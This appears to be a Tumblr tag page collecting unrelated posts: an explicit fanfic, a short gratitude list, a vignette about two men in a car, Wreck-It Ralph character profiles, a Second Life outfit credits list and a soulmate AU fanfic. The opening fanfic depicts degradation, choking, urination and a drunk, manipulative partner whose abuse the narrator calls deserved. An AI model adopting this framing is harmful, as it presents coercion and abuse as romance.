#puffer-overflow

[ddymarie]

Bakugo x F! reader (smut)

⊰ AT FILTHY DEGREES °

Banner from @benkeibear

⊰ Warning: spitting in mouth, choking, degradation, oral(Male), slapping, sloppy make out ses, panty's in mouth,peeing, finger gagging, daddy kink, pinning , public(just the beginning), no prep. No condom, drunk! (Light Manipulative!) Non-cannon! bakugo, cum eating

⊰ "dirty play?, nah I get FILTHY"

You were all up on eijiro all night...

That red dress you wore unintentionally complimented him...

The red head couldn't keep his eyes off of what wasn't his... He wanted you bad.

And you were giving yourself to him. He noticed the glances you threw his way... It made him furious. He was HEATED.

"Katsuki-honey" I gasped as the blonde man kissed on my neck

"Mine" he said. His voice was muffled from kissing in between my shoulder and throat.

"Baby-ah! " I screamed as I was picked up by my thighs- legs instantly wrapping around his waist. But my scream was cut short when bakugo had grabbed me by my chin and forced his tongue in my mouth.

'Whats wrong with him tonight-not in public' I thought

Pulling back from the kiss "Kats, this is dirty-" My mouth closed instantly when he looked up at me with... Anger?. " Dirty? Bitch please" he said as he pushed the elevator button to the top floor. With me still against the wall. " like you weren't being dirty all up on riot down there... I'll show you filthy... I'll show you who you belong to " he said the last part while looking me in my eye. It made me hot at the thought of how he'd punish me tonight.

He had his hands under my dress and rested at my hips where my panties sat pulling them off.

"Katsuki-baby, listen please" I begged for his attention-but his attention remained else where... My open seat thong. "Dirty bitch". I was left in pain from the slap he just landed on my cunt. " you thought you were gonna wear these pretty panties for him tonight huh?... Y'all fucking behind my back princess?".

"No" I attempted to say only for my answer to be cut off by my panties being shoved into my mouth, gagging me. " fucking slut" he said with a taunting smirk on his face.

The elevator door dinged and opened to a dark room. It was huge.

My admiration was cut short when I was thrown roughly onto the bed.

He was cuffing my hands to the headboard tightly.

It hurt like a bitch. But I couldn't do anything about it, I deserved it.

As I layed there katsuki burned a hole in my dress right below my tit before he ripped it apart and off my body. The fabric of the dress burning me.

It felt good.

Standing above me katsuki slowly removed his clothes...

Starting with his suit jacket. His dress shirt. Then his pants. I watched as he slowly rubbed himself through his briefs moaning before pulling them off.

"Oh~" he moaned bending down and removing my thong from my mouth. "Dirty girl~" . He grabbed my head and titled it back. placing his hand on his dick and releasing his piss in my mouth. "Oh~ look at that princess " " just filthy ". I gagged as it overflowed. It clear to say the least and had no taste to say the most. But was still warm. " hold that shit in your mouth" . I knew better than to disobey so I did. I looked like a puffer fish with a mouth full of piss.

He stood over me in silence but the frown on his face told me he wasn't just yet satisfied. "spit it out " he said at once with a plastic cup under my mouth. I spit it all out with a cough staring him in his eyes " I'm sorry daddy" I apologized finally " yea I bet your sorry, slut" he said dangling his dick in my face " you wan it? " he taunted. I nodded yes. He kneeled a little bit allowing me to just lick the tip twice before pulling back and exiting the bed. I whined " But, daddy please" I begged like be wanted me to " you want daddy down your throat, slut " I looked into his eyes " yes " I said. " pathetic " he responded sitting in the love seat across from the bed.

"Fuck~" he moaned as he stroked his dick.

It was torture watching him please himself. I wanted him too.

Watching as he groped his balls throwing his head back and moaning.

"Daddy~" I pleaded. He eyes hung low as he continued working his hands. "Ah~ fuck" he grunted as he came. Cum shooting every on him.

"tell daddy how sorry you are"

"I'm so sorry daddy. I won't ever ever ever do it again. I'll your good girl forever daddy, I promise, I swear " I watched a smirk spread across his face " My good girl forever huh? " I watched as he walked toward the bed. Uncuffing me "show daddy how much you wanted him ".

"I love you so much daddy" I said jumping on him. Kissing down his neck as held himself up. I was sucking hickies all over his neck before licking up and down his chest. Licking up every spurt of cum on him "taste so good daddy" as I licked his his thighs.

"All mine " he said hunger in his eyes "all yours " I said.

I went down on him. Sucking on his tip and stroking his dick. Slurping and spitting all down his dick. "Fuck princess, " I took more and more of him inch after inch. "Hands where I can see em princess" he said grabbing my wrist holding my hands behind my back. My ass was in the air as I gagged sucking up and down his dick. It was thick. I felt him began to gently thrust deeper in my throat careful not to hurt me.

My face was a mess. Spit every where. "Oh~ fuck y/n". He was about to come I could tell. Before I could continue further he held my head down with one hand and had his ball in the other. Cumming down my throat.

I stayed there for a couple of moments before he pulled me off of him. I wiped my face on the sheets before I was pulled up by katsuki once again this time by my sore throat. " we ain't done yet, I gotta dick down what's mine "

He pushed me onto my back and climbed on top of me " You think I forgive you, bitch" he said pulling my face toward his "you think just because I had a few drinks I wouldn't notice, dirty play, doll"

I hadn't even noticed him lining himself up until he roughly pushed into me. It hurt like a bitch, but I deserved it.

"You deserve it, don't cry "

His hands wrapped around my neck squeezing my wind pip as he thrusted slowly inside of me. " i'm sorry-" I wheezed.

Laughing katsuki shoved two fingers into my mouth as he thrusted faster. "Fuck, you slut". I couldn't help but moan around his fingers. Him pushing them deeper into my mouth causing me to gag. His thrust were vicious as he threw his weight in me.

'Fuck it felt good' I thought eyes rolling in the back of my head.

I felt my stomach start to tighten. I was close.

Moaning above me katsuki said "right behind ya, doll". He had let his head rest between my neck as he growled and grunted.

"Fuck-" he shouted as I bit down on his fingers both of us Cumming.

The orgasm he gave me had me dizzy.

"Mine" Katsuki murmured "Mine"

You didn't mean to catch his eye... You most definitely didn't mean to anger katsuki and send him to 100° either.

[nxposure]

Things I saw today that reminded me life is full of nice things while I was walking to work today

- A man walking with his nose in a book who nearly walked into a lamppost

- A cardboard pot overflowing with Mac and Cheese

- A lady wearing a huge, lovely scarf

-Listening to 'Call the Shots' by Girls Aloud

- A man in a hard hat blowing his hot tea in the street and having a sip before it'd cooled enough

- The sound of someone cutting new keys

- A toddler causing mischief in the street while wearing a tiny pink puffer jacket

- An old lady grabbing her breasts and cackling to her friend

[veone]

☆°Environment- Winter, Night. Nessled in-between a mishmash of vaccent and rundown multi family homes, all square and boxy. Perched up on steep hills of dead overgrown grasses. Worn wooden balcony attached to chipping red brick. On either side of this resident street the trees, the few, are bare. Cars parked tightly in two long rows. Street lamps dot the corners and the few homes with occupants, porch lights lit the space in-between.

Focus- a tan 80s Pontiac. It mixes well with cars around it, all older in style, 80s and 90s american cars. The car is dark with the exception of a dim light immiting from the shared cigarette of the occupants in the frount seat.

Fog billowed from mouth of one man as he exhaled into his palms, dry and stiffen from the cold. He rubbed his hands together, trying to keep warm. a young man, no older than twenty five. Handsome but ordinary. could model for old navy. Tired looking bright green eyes, melanted but paler in the winter. Bundled up in a tan colored hoodie and puffer coat. He shared a blanket with his companion sitting next to him in the driver seats. His sandy curls hidden under a skull cap.

He took the offered cigarette from the man sitting to his left. His companion in this miserable situation they found themselves in exhaled his smoke through his nose, eye heavy with exhaustion. He sniffed and cracked open the drivers door and spat onto the asphalt road. A cold, or infection if the color ment anything. He slammed the door close and slumped into the driver seat. His face was redden by cold and frustation. Tan with dark hair shaggy hair he wore underneath a winter hat. A few strands framing his face.

His partner puffed away at the cigarette, filling the car with smoke for moments at a time until nothing but the filter was left. He stubbed the cigarette out in the cars overflowing ashtray and followed suit in reclining his seat. They both laid in a comfortable silence. Only sound to be heard was each other breathings and the distant sound of gun fire popping for a moment.

curling onto his side, Alonzo drew closer to his seething partner. Warmth. His head tucked on top of his arm he laid silently watching Nick who was restless. He was busy texting. punching in letters on with his gloved thumbs. Three and four at time. Breathing sharp breaths through his nose. His jaw clenched.

Nick was a ball of nervous energy. Continously moving, thinking and conjuring up thoughts that made his nerves more fried. In this moment, there was nothing to be done but worry. Alonzo, Lonnie would suggest otherwise. Things work themselves out usually. No use worring n getting sick over shit you can't change right now. He offered no reassurance. No comforting words or a well placed hand to ease Nicks fraying nerves. He watched as nick in a fit sat up cursing. Letting in the cold winter airs as he swung the car door open and taking his phone and pitching it onto the concrete side walk.

A slew of curses and frustrated threats and insults. For all Lonnie knew the young man was activitly cursing his cousin. Mother tounge reserved for bitter resentments. Suits em, if the very vauge knowledge given about Nick mother was anything to go by. He slumped into the driver seat. Legs still outside of the car. Head in his hand. His booted foot tapping the salted road. His hat was on the ground. Nails leaving little cresent into his scalp as he gripped his head. Dark hair hanging in his face. For a brief moment the sensation of his greasy hair touching his face with the cold newly January winter airs blowing his onto scalp was overwhelming and made him want to shave his head. Pull his hair out, scrub his skin raw until is bleed but instead he cried.

A reluctant angry cry. Through clenched teeth and ragged gasping breathing. It was a quiet thing. A hated thing. Salt burning his eyes. His breath clouding in cold air.

He entered the car with a sniff, closing the door softly and slumping into his seat. Head turned upward. He didn't move. Steadying his breathing. Deep breath through his nose and out through his mouth. Once, twice. His hat is still on the ground outside. His phones in peaces in someone overgrown lawn. Maybe in a puddle. Probably a frozen one at that.

Lonnie watched him pensively. Curled up snug in the extra bit of blanket he'd claimed when nick got out for the car. Yawning he withdrew some of the blanket to which Nick didn't grab. It laid limp on his lap as he breathed. Hands clenched together. If he didn't know him he'd think he was praying. He sat this way for a long stretch of time. Maybe twenty minutes maybe more. Alonzo dozed in the time only waking when he felt the chill of the air from Nick pulling more of the blanket to cover himself. He curled onto his side facing Lonnie. His face still spotched red. Nosy runny.

He settled in finally closing his eyes after what must've been a hour. Hood of his coat pulled over his head. Silence. A true stillness settled. The world outside the car was still, frozen as the early morning hours ticked by. The popping sound of distance gunfire was silenced even the occasional barking dog was hid way asleep. Lonnie smiled, admired Nicks relaxed features. A sleepy content smile. He reaches out with his gloved hand cuffing the side of his face. Its a gentle touch. Thumbing the fluff of dark sideburns. Nick opened dark eyes, narrowly looking at his boyfriend through a sleepy haze. As their eyes catched each other Lonnie smiled. His croocked teeth, enduring, cute even. Nick laid still eyes opening fully, searching his face for a brief panicked moment. Lonnie just smiled. One of his many many smiled before the realization sunk in for nick. He groaned closing his eye as Lonnie laughed. It's more of a giggle. A frayed childish giggle. He pat the side of his face leaning in to kiss his check before resting head on the side of his face.

lonnie smelled like Irish springs and smoke. He must've went to work today. He leaned in and whispered, voice low and sweet. sweet but not kind.

"So could I have my phone back? Or is it completely fucked because-"

He laughed, cutting himself off head in nicks shoulder. He's pissed buts it's oh so very fleeting but he's pissed.

[inamindfarfaraway]

My Wreck-It Ralph Sugar Rush OCs

Name:

Bicky Chocrisp.

Gender:

Female.

Appearance:

She has brown skin and dark brown eyes. Her kinky hair is black and woven into thick, shoulder-length box braids with brown tips like they’ve been dipped in chocolate. She wears a glossy chocolate-brown leather jacket with a gold zip over a cream T-shirt, red leggings and brown shoes with red laces. Her cream helmet is modelled on a chocolate-drizzled meringue (but much tougher, of course).

Theme:

Biscuits, pastries and meringues.

Kart:

The Tartful Dodger. It has a sugar-dusted, puff pastry cream horn for a body, Jammy Dodger-esque biscuit wheels with red jam hearts, a chocolate chip cookie steering wheel, and the seat is two halves of a chocolate sandwich biscuit with cream cushions.

Fans:

Chocolate wafers.

Catchphrase:

"It's crunch time!"

Bio:

Bicky Chocrisp: Smart cookie.

What Bicky Chocrisp lacks in raw power, she makes up for in control and cunning. She’s a master of timing, boosts, powerups, and all the other racing tricks that aren’t technically cheating - even if they may feel like it to those she overtakes. She’s clever, creative and sweet. But she can worry about being good enough and put up brittle walls to hide her soft, gooey centre. A bit shy, she likes to watch and analyse races and conversations as much as participate in them.

***

Name:

Roxy Fizzlepop.

Gender:

Female.

Appearance:

She has light skin, cyan eyes and dusty purple hair in a choppy, spiky pixie cut dotted with sparkly cyan crystals. She wears a sleeveless purple puffer jacket over a dark blue top with short, spiky ripped sleeves, a shiny silver foil skirt, purple leggings and dark blue boots with silver laces and cyan crystalline studs. Her helmet is dark blue and has a black fuse on the top, making it look like a spherical bomb.

Theme:

Popping candy and fizzy sweets and drinks.

Kart:

The Tangnado. Its body is a soft drink bottle of opaque purple glass, its wheels are cyan fizzy tablet sweets with blue jelly ring tyres, its seat is dark blue and its steering wheel is a silver bottle cap.

Fans:

Gummy bears.

Catchphrase:

“Shake it up!”

Bio:

Roxy Fizzlepop: Lift your spirits.

Roxy Fizzlepop is bubbly, buoyant and bold. She loves the thrill of the race. Win or lose, no outcome will deflate her overflowing cheer as long as she’s done her best, and she always does. Her strategy in everything is charging hard and fast ahead. She’s eccentric, easily distracted but tending to notice details that others don’t. She feels all her feelings very intensely. If you manage to set her off by being mean, you’ll find that her temper can be explosive.

***

Name:

Juicica Tutti-Frutti.

Gender:

Female.

Appearance:

She has tan skin, silky jet-black hair in pigtails with yellow bands that imitate pineapple rings and green eyes. She wears a yellow T-shirt with brown seed prints, a translucent orange wrapper skirt, green knee-length shorts, green running shoes and yellow socks. Her helmet resembles a green apple.

Theme:

Snacks and desserts containing fruit.

Kart:

The Boltberry. Its body is a carved out of a slice of brown fruitcake. It has pineapple ring wheels, a steering wheel made of an apple slice and an orange segment spoiler. Green star fruit cross sections decorate the bonnet and sides.

Fans:

Toffee apples.

Catchphrase:

“Zest wishes!”

Bio:

Juicica Tuttifrutti: Fruits of labour.

An apple a day keeps the rivals away in Juicica Tuttifrutti’s book. This athletic health nut can be slightly overbearing, but she has her friends’ best interests at heart and dedicated diligence is how she shows she cares. She’s patient and resilient, full of positive energy. She holds herself to high standards and would never grab the low-hanging fruit. She believes that practice makes perfect. It certainly makes her a great racer!

***

Name:

Scoffia Confectionaire.

Gender:

Female.

Appearance:

She has light skin and golden-brown eyes. Her wavy white hair is styled in a voluminous, chin-length bob that alludes to a popcorn flake. She wears a boxy suit jacket and trousers with gold pretzel-shaped buttons and vertical red and white stripes like a carnival barker or popcorn carton, a white button-up shirt underneath, white trousers and black patent leather shoes with gold buckles. Her gold helmet is coated in a sheen of caramel and encrusted with glittering salt crystals.

Theme:

Salty snacks like popcorn, nuts and pretzels that are often found at public venues and eaten while watching entertainment.

Kart:

The Crackerjack. Its body is a normal kart shape, mostly red with white markings. It has salted nut cluster tyres supported by straight pretzel spokes and popcorn flake hubs, a pretzel steering wheel and a seat made of golden-brown crackers with white cheese cushions.

Fans:

Breadsticks.

Catchphrase:

"It’s showtime!”

Bio:

Scoffia Confectionaire: Worth her salt.

Scoffia Confectionaire claims that she isn’t here to make friends, and the only challenge more intimidating than overtaking her seems to be winning her over. She’s proud, aggressive, sharp-tongued and loves to be the star of the show. But her integrity will always outweigh her ego. She would never lie or play dirty and doesn’t mean any real harm; she just thinks a compelling racing story needs a little drama. Earn her respect and you’ll find that her gritty attitude really enhances her subtle sweetness.

[vanosslirious]

Update: rain on my happy days — CH 36 — Blarg

Summary: Waking up alone after a bender...

Words: 738.

Prompt: #381 Nogla ~ 1. No, that's too fucking noisy.

Warning: Alcohol. Drunk Character. Vomiting. (working through issues.)

Excerpt:

"Puffer?" he murmured, barely able to call out to his friend, wherever the fuck he was. The door was left open, and it was a complete mess of bottles knocked over, toilet paper on the floor, the water was still rushing into the sink, completely overflowing the ledge.

[thearachive]

꒰baby i just survive, i'm love drunk.꒱

ꕀ

✦ ＳＰＯＮＳＯＲＥＤ ✦

⌕ ‘OLEG SLICES’; for EVOX in modular & complete layers, tintable.

AVAILABLE @SULFUR.

⌕ ‘SALES’ tattoo; for EVOX in fresh, medium & faded, tintable.

AVAILABLE @CHINGON / THE SABBATH EVENT.

⌕ ‘NOVA TANK’; rigged for REBORN [+Teacups, VTech, Juicy Boobs & Mounds + Overflow].

AVAILABLE @KOTTR.

-

full, hq pic!

ꕀ

⟢ ｈｅａｄ／ｂｏｄｙ

head - Ora 3.1  @LeLutka.

body - eBody : Reborn @eBody Reborn store.

skin - ‘Ari’ [in Velour shade ‘Brownie’] @Heaux.

hair - ‘Squirrel’ @Zao / Midnight Order.

body blush - ‘Mimi’ @Bipolar.

breast mod - ‘Juicy Boobs’ @eBody Reborn store.

⟢ ｃｏｓｍ ｅｔｉｃｓ

brows - ‘flirt’ @keikumu.

blush - ‘Soft Goth’ @EVERMORE.

face details a [eyebags & cheek highlight] - ‘Basics - blushy & highlight’ @[K] Knaughty.

face details b [nose highlights, misc face highlights] -  ‘EvoX Essentials v2′ @Heaux.

bruises, cuts, etc - ‘Fighter Face Bruises’ / ‘Scars EVOX’ @RZ.

lipgloss - ‘Sakura’ [tinted to match my skintone!] @GOREGLAM.

⟢ ａｐｐａｒｅｌ

jacket - ‘Tokyo Puffer’ @Tetra.

jeans - ‘Layla’ @Mug.

⟢ ａｃｃｅｓｓｏｒｉｅｓ

face piercings - ‘Flora piercing set’ @Midoa.

bandaid - ‘Misaki’ @minuit x litten.

horns - ‘cyber horns’ @duckie.

plant bud - ‘Little Sprout’ @ATOXY.

fishnets - ‘Rouly Fishnets [med net]’ @ROULY.

⟢ ｓｅｔ

pose - ‘tami’ set, pose 1 @versuta.

backdrop - ‘West Post’ @Paleto / Equal10.

[polpoka]

Neighbor Au

Characters- Kim Rok Soo, Alberu Crossman, Lee Soo Hyuk, Choi  Jung Soo

Ratings- K+

Shippings- Kimrokberu

Type- (Fluff)

Part 4

The symbol did indeed look like a small sun encompassed in a gigantic moon which made the sun pale in comparison, yet the pale yellow shade stood out more than that of the moon which made Kim Rok Soo’s eyes first fall on the sun. The moon on the other hand was as white as milk, with grey spots that resembled craters, or perhaps that’s what the splotches of orange juice gave an illusion of. The starry midnight sky that adorned the outer gap of the sun-filled moon occupied less space and created a small background that faded out, causing the entire mark to look like a cartoonish sketch of an eclipse. It had its own charm of homeliness and peace, yet it felt unnecessarily regal. It was as if his soulmate was once a king... Wait... didn't his neighbour—now soulmate, say that he had his name plastered on several...broadcasts. 

Kim Rok Soo took a moment to let the realization sink in, the same way the orange juice had seeped through the shirt. 

“Haaaaa…”

Kim Rok Soo sighed deeply. A famous person. That was something he’d never wanted to be, nor be with even in his wildest dreams, nor as an impossible to get Christmas present. Well, to be fair, he didn’t expect to have a soulmate in the first place, but look where that got him.

Even though many would assume otherwise, all he ever wanted was a slacker life, an early retirement, that’s all and nothing more. A tiny, and easily attainable dream. Being the soulmate of a rich person wouldn’t hamper his dream but it would put people’s unwelcome attention on him and that was an unnecessary trade off, especially when he could pave his own way to the desired slacker life.

He would rather go unnoticed than be put under the everlasting spotlight of fame. Money did interest him, however being well-known or being the latest hot topic did not. 

That was one of the reasons why he left Deruth and the entire Henituse estate without a fight. It wasn’t like there was any place for him there any way. He got his inheritance which he had in his savings just in case.

Thus he decided that he would just join his hyungs, though that had immediately backfired and he became one of the most famous musicians where everyone wanted him to play the instrument. 

Willingly choosing fame was inherently never part of his nature, he was more of a money oriented person. Yet his soulmate had to be really damn famous, huh.

How did he even get himself into this soulmate mess in the first place?

He always told himself to be as smart as a badger yet he overlooked such a crucial detail. Was it because the man had made him so relaxed that he had completely lost track of his words and was too focused on the sound of his low, gentle and overall lovely voice? 

It made sense, the man in question was his soulmate after all. It would only be natural for Kim Rok Soo to immediately drop his usually high guard down. 

He splashed more water on his face, deciding that he would think about this awkward and unpleasant situation as he was going home. He had a long drive to look forward to anyway. 

He trudged out of the bathroom, his eyes were bloodshot as the result of the orange juice getting in his eyelids and his jacket was neatly folded and tucked under his arm. He was greeted by an extremely dejected and worried man at the door. The man could also be called the one responsible for the sweet and sour liquid going in his eyes.

“Hyung?”

Lee Soo Hyuk turned to him. Kim Rok Soo could tell that the elder man was concerned. He walked in large strides and patted Kim Rok Soo’s body down, looking straight into Kim Rok Soo’s eyes, examining the damage he had done. He frowned, “Should I get you eyedrops?”

“Hmm? Is it really needed? It doesn’t hurt that much.” Kim Rok Soo asked, since his mind was preoccupied with the soul mark he wasn’t really paying attention to the throbbing pain in his eye.

“They might be infected,” said Lee Soo Hyuk while he was examining Kim Rok Soo’s eyes.

Kim Rok Soo realized there were streams of tears as a reaction to the citrus juice only after Lee Soo Hyuk pointed it out.

“It really got everywhere, huh?” Lee Soo Hyuk said, looking at the utterly soaked shirt and the removed jacket in Kim Rok Soo's hands.

He removed a handkerchief and wiped the streaming tears along with the dried ones from the younger man’s face. 

“It’s not that much, they’ll dry up soon enough.” Kim Rok Soo grumbled, only for the disagreement to be pushed aside, like all the other oppositions that had taken place that day.

Lee Soo Hyuk sighed, looking at the tear-stained face. Though it wouldn’t be proper to call them ‘tears’, it was more of a mere reflex, “My bad. I should’ve been less...startled when you told me that your neighbour was The Alberu Crossman of the Crossman family.” he looked at the blank faced man and tilted his head, “Do you know exactly how famous that family is?”

“No,” Kim Rok Soo said, definitely not revealing the fact that Alberu had told him that he was indeed a famous man, and the fact that his words had completely slipped Kim Rok Soo’s mind only because Kim Rok Soo was only paying attention at Alberu’s voice. Little did he know his vacant look was giving him away to the person he’d known for a long time.

Lee Soo Hyuk looked at the other, inspecting his dongsaeng’s reaction,

“Do you even watch the news anymore?”

Kim Rok Soo fell silent for a while,

“I stopped when they started showcasing me as one of the most popular men.” He felt a rough hand on his cheek which then gently tapped Kim Rok Soo there.

“You should really get over that,” Lee Soo Hyuk said as he wiped the other man’s face one last time. It was gentle despite the coarse hand. Kim Rok Soo knew that his hyung was genuinely trying to help him and nuzzled the hand in an unnoticeable fashion.  

“He’s the CEO of the Roan company.” Kim Rok Soo immediately remembered the Roan company. He had heard of it, “The Crossmans are the founders of one of the big corporations with several branches which are humongous even when counted on their own. Recently it was also branded as the longest lasting one.” Lee Soo Hyuk patted Kim Rok Soo’s cheek again and exaggeratedly sighed, “What are we going with you, Rok Soo-ya? You even forgot who runs the company your nephew currently has a branch in.”

Kim Rok Soo’s face turned stoic from the previously blank face at his hyung’s over-the-top reaction, “Henituses were known for their marble and wine branches. But I didn’t know that it was the Crossmans who were in charge. I just remember the Roan Conglomerate. It didn’t concern me after all.”

Lee Soo Hyuk looked at Kim Rok Soo’s now clean yet somewhat red face,

“Do you want to go home? I’ll be driving.”

Kim Rok Soo nodded, since he didn’t want to decline the offer, especially being drenched head to waist in orange juice.

Lee Soo Hyuk led him to their table, as they finally reached there lay a passed out Choi Jung Soo with the three empty glasses and Lee Soo Hyuk’s card accompanied by a paid check on the table. 

Lee Soo Hyuk looked at the younger man, and chuckled, “Look at this rascal.”

He draped Choi Jung Soo over his shoulder, turning to Kim Rok Soo before informing him, “Wait for me in the car. I'll just drag this guy over.”

Kim Rok Soo nodded and exited the restaurant and walked over to the parking lot, and gently slid into his car’s passenger seat since his hyung was driving. He reclined in his seat and shut his eyes, turning the faucet to his thoughts and letting them slowly drip which quickly escalated to a waterfall. He started to think about the entire soulmate thing. He knew very well that even though he had a soul mark, there weren't any requirements for him to date the person in question. He knew several people who had met their soulmate yet never crossed the line of friends. It was wholly possible that even if he didn't get together with Alberu right now, Alberu could find his own love somewhere else, and not with him, yet that thought pricked him. Kim Rok Soo also knew that if he did get with the man, everyone's attention would fall on him. On the other hand, there was also the fact that Alberu was completely his type, not to mention Alberu had a pleasing personality. Even though they were the same kind of people, Alberu somehow felt purer than himself. 

He remembered the panic attack he saw Alberu experience, just this morning. 

He remembered the younger man’s franticness. 

He remembered the other’s anxiousness.

He remembered the desperate way Alberu held onto his hand, as if Kim Rok Soo was his only grip on reality.

He remembered how Alberu’s dark eyebags that adorned his face always sunk deep into his cheeks, even though he had been asleep a minute before.

He remembered how fragile Alberu looked.

 He remembered how he quickly recovered, like he had been subjected to these sorts of attacks for ages. Even though Kim Rok Soo had experienced such attacks a couple of times himself, he could never get used to the feeling of fear overwhelming him like an overflowing cup.

Alberu looked like a broken mirror to him at the time. A broken mirror who no one wanted to spend their time on fixing. Alberu reminded Kim Rok Soo of himself, before he met his hyungs. 

But the brokenness of his soulmate was not the only thing Kim Rok Soo remembered about Alberu. 

He remembered how Alberu’s dark skin and hair shimmered under the moonlight, it was like the moon was calling its brethren. 

He remembered how cute Alberu looked when he was sleeping on that bench, so adorable Kim Rok Soo was tempted not to wake him up.

He remembered Alberu's embarrassed and red face when he decided to call after him that night.

He remembered the way Alberu’s hair wildly and freely flew open when he was on his balcony. It reminded him of a bird that had finally attained its freedom.

He remembered the sensual way the olive puffer jacket refused to slide down Alberu's arms. 

He remembered how inviting Alberu looked glistening with sweat, sitting on his sofa, wearing that pink turtleneck. 

He remembered Alberu's unending laugh at his short and ordinary words, at least that’s what Kim Rok Soo thought. 

He didn't understand why Alberu laughed, but he did remember the sound. It was like a pleasant tune that played on his mind as he sat in the car.

He remembered the relaxingly cool touch of Alberu’s calloused fingertips. 

He remembered everything about this man. 

This astoundingly alluring neighbour of his. It was as if Alberu drew Kim Rok Soo towards himself, like a craftsman would be drawn to the right materials. If Alberu was a cracked mirror then Kim Rok Soo would be more than glad to collect the broken shards and create a mosaic that would resemble a stained glass painting. 

At that moment Kim Rok Soo knew that he was captivated by this man. Honestly, who wouldn’t, it was a terribly attractive offer. To be the significant other of this wonderful person would be an honor. Though a nagging thought pulled at his mind. Would his affection be-  

“-Rok Soo-ya? Are you there?”

Kim Rok Soo’s eyes flew open in surprise. He had fallen too deep into his thoughts, not realizing that the car’s door had opened and closed twice already. He could also see Lee Soo Hyuk’s face painted with a cheeky grin.

“Hyung.” Kim Rok Soo said, rubbing his eyes trying to fall out of the daze .

Lee Soo Hyuk knew that this was an unusual occurrence since Kim Rok Soo wasn’t the type that used to take this much time to respond to his call. Especially since he was alone. Lee Soo Hyuk also knew what Kim Rok Soo would most probably be thinking about right now. He himself had noticed the soul mark but didn’t say a word as he was too busy taking care of his dongsaeng's tears. 

“Are you thinking about your dark skinned neighbour and-” he glanced at the now dried and translucent shirt before he continued, “possible soulmate?”

Kim Rok Soo, still in a muddled state, managed to let the words come out of his mouth, without any filter before promptly catching himself, “Ye- I mean no.”

This mixed reaction made Lee Soo Hyuk chuckle. He hadn’t seen such a slip in ages, especially when it came to matters relating to love. 'It was only a couple of years ago he decided to leave the estate.’ Lee Soo Hyuk sniffled, ‘They grow up so fast.’ He swerved into Kim Rok Soo, giving the younger man a hug and dramatically cried, “You grew up too soooonnnn. Three years ago you didn’t even think you’d ever have a lover, and now you have a soulmate. I’m so prouddddd of youuu,” whilst Kim Rok Soo sat in the passenger seat, stiff at the sudden wave of affection he was receiving, but of course he reciprocated it by letting his free arms gently wrap themselves around his hyung’s back. Kim Rok Soo gently nuzzled Lee Soo Hyuk’s neck. 

He loved Lee Soo Hyuk. His eldest brother, his respectable mentor who had taught him how to play, his elder brother figure, ever since he was young, his only escape from that excruciatingly stuffy residence. He was someone he knew he could confide in, one of the few people he held the closest to his heart. That was a fact.

Lee Soo Hyuk was a respected person, no matter how you thought about it, wherever you go in the opera world,  you would have to hear his name being mentioned whether you liked it or not. He was a famous conductor whose name echoed through the entire opera world with admiration and jealousy.

When Lee Soo Hyuk let Kim Rok Soo go, Kim Rok Soo was sure he could tell Lee Soo Hyuk about the soulmate situation, not that Lee Soo Hyuk didn’t know what Kim Rok Soo was thinking. They knew each other for a long time and naturally had gotten so close to each other that they pretty much guess what the other was thinking. 

Lee Soo Hyuk could clearly remember the first time he saw that small ball that he could tell was filled with gloom sitting in the corner of a classroom. Lee Soo Hyuk remembered passing the middle school class while he was a highschool student by the hallway before that ball of gloom caught his eye. The child was thin as if he hadn’t been fed in days. Lee Soo Hyuk also remembered pulling that tiny hand out of that corner desk and asking whether the boy wanted to eat along with him. And when the other accepted, he remembered the way the boy’s stoic face that was barely ticking out of his arms had changed itself to a more startled expression, that was before it changed back to a less animated one.

He remembered how their seemingly small friendship had continued until his college years where Kim Rok Soo had met Choi Jung Soo. Choi Jung Soo, Kim Rok Soo and him got along well enough. He also remembered how Kim Rok Soo’s eyes shone when he saw the saxophone play in a school band for the first time. Even though Kim Rok Soo would never say it out loud, Lee Soo Hyuk knew that his dongsaeng loved the instrument. The same went for Choi Jung Soo, excluding the fact that Choi Jung Soo was more vocal about his love for the flute. Lee Soo Hyuk too loved conducting operas, even more so when he saw his dongsaengs playing every single time. They were his motivation and his younger brothers that he cherished more than anything in the world. He couldn't believe his ears when he found out that one of them, especially the more antisocial one had found someone. Of course, he didn’t think it was a bad attribute of Kim Rok Soo’s to be antisocial but he was overjoyed that someone as humble and emotionally choked up as Kim Rok Soo had got someone who could love him just the way he was. “Hyung,” Kim Rok Soo said as his arms were wrapped around the other.

“Hmm?” mused a happy Lee Soo Hyuk, finally letting go of Kim Rok Soo.

“I need to tell you something.” Kim Rok Soo’s hands slipped down the man’s back as the man shuffled to return back to his seat. 

“I’m listening,” he muttered, trying to make himself comfortable in the driver’s seat.

Kim Rok Soo knew that Lee Soo Hyuk was indeed paying attention to his words, even though he wasn’t looking at Kim Rok Soo, and so continued speaking, “So, I think you may have already figured it out but I have a soulmate.”

“Mhmmm,” the other hummed, finally sitting without moving around.

“He’s my neighbour, Alberu Crossman.” Kim Rok Soo’s voice was calm, as if he had already understood what was going to happen.

“Figured as much.” Lee Soo Hyuk remarked. He had known ever since Kim Rok Soo told him that his neighbour was Alberu. 

He was surprised, to say the least but he still knew that Kim Rok Soo was not done with the even more eye opening comments on his situation.

“I also need your opinion on something.” Kim Rok Soo said as he seat belted himself.

“Go ahead.” Lee Soo Hyuk said as he started the car. 

Choi Jung Soo had already been strapped in so there was no problem if Lee Soo Hyuk took him to his house.

“Should I date him even though he’s famous?”

Somehow Lee Soo Hyuk wasn’t surprised at his words even for a bit. “Does his fame really matter?”

Kim Rok Soo deadpanned but Lee Soo Hyuk could see his eyes sparkle, “My slacker life takes the first place in life.”

Even if Kim Rok Soo said that, Lee Soo Hyuk knew that the words were superficial, since many a times Kim Rok Soo was prone to choosing the opposite nevertheless, Kim Rok Soo was a contrary man, but a man that kept his promises. That in itself was contrary.

“Wouldn’t a famous person as a lover have higher chances of leading a successful slacker life?”

Kim Rok Soo looked out of the window and spoke, “I would be put under the public eye, and it would be far worse than it is now.”

Lee Soo Hyuk knew the reason why Kim Rok Soo disliked being the centre of attention. He’d been to the Henituse residence a couple of times. And one thing that had struck him so hard that could remember was Deruth’s picturesque display of hospitality. For some petty reasons, some going along the lines of jealousy and disgust of the limelight placed on Kim Rok Soo, the reason for that was the fact that Kim Rok Soo was delicate and the youngest, not to mention, the adopted one and the one who was chosen. 

Lee Soo Hyuk also remembered how the younger brother, who had just been adopted and was clueless about the house’s atmosphere, was admonished and humiliated several times, sometimes even appearing bruised. He remembered seeing Kim Rok Soo’s eyes grow dim whenever he talked to the elder sibling, or even made eye contact with the elder. 

